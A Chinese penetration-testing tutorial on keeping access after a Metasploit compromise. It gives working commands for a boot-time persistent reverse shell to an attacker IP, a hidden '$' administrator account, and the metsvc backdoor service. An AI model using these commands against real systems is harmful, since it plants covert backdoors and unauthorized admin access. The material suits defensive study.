如何对使用msf做渗透测试中提升持久化,附图文,公众号有视频

当我们获得msf的反弹shell后,会获得一个会话后进行持续控制目标主机,可是当我们
与目标主机断开连接后,想下一次继续连接目标主机,就得需要从重新配置msf以获得
相应反弹。那么有什么好的方法使得我们的会话更加持久化呢?

Persistence模块

使用persistence模块可在目标计算机上安装一个永久性后门,即使有一天目标计算机修补了漏洞,我们仍然可以通过这个连接来实现对目标计算机的控制。设计非常的奈斯!

常用参数:

  1. -X 开机自启动
  2. -i payload重连的间隔时间
  3. -p 反向连接端口号
  4. -r 反向连接IP地址

详细帮助

meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host. 
OPTIONS:
     -A        Automatically start a matching exploit/multi/handler to connect to the agent    
     -L <opt>  Location in target host to write payload to, if none %TEMP% will be used.    
     -P <opt>  Payload to use, default is windows/meterpreter/reverse_tcp.    
     -S        Automatically start the agent on boot as a service (with SYSTEM privileges)    
     -T <opt>  Alternate executable template to use    
     -U        Automatically start the agent when the User logs on
     -X        Automatically start the agent when the system boots
     -h        This help menu    
     -i <opt>  The interval in seconds between each connection attempt    
     -p <opt>  The port on which the system running Metasploit is listening    
     -r <opt>  The IP of the system running Metasploit listening for the connect back

示例

与目标主机建立回话后,使用下面的命令执行

run persistence -X -i 11 -p 8888 -r 192.168.5.88

然后用use exploit/multi/handler模块设置后进行监听即可

创建隐藏用户

当我们获取目标主机的远程shell后,通过cmd或者migrate对系统进行注入一个隐藏账号。从而神不知鬼不觉的连接到目标主机。具体示例如下:

cmd终端(需要提权,为管理员账号运行cmd)

# 创建用户($符号,可以起到隐藏创建用户的目的)
net user test$ 123456 /add
# 将创建的用户添加到管理员组
net localgroup administrators test$ /add

通过metsvc服务

在获得会话后,可以在msf终端运行run metsvc,将会在目标主机上以Meterpreter的服务的形式注册在服务列表中,并开机自动自动。运行run metsvc -r卸载目标主机上的Meterpreter服务。当然,这一步也需要管理员的权限,同时如果目标主机安装了安全软件,在执行命令的时候可能会提示。

总结

以上便是我们在msf中常用持久化的手段,每种方法都有各自的优势和缺点,要根据实际情况选择恰当的方案。最后温馨提示渗透不规范,亲人泪两行

民间安全

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容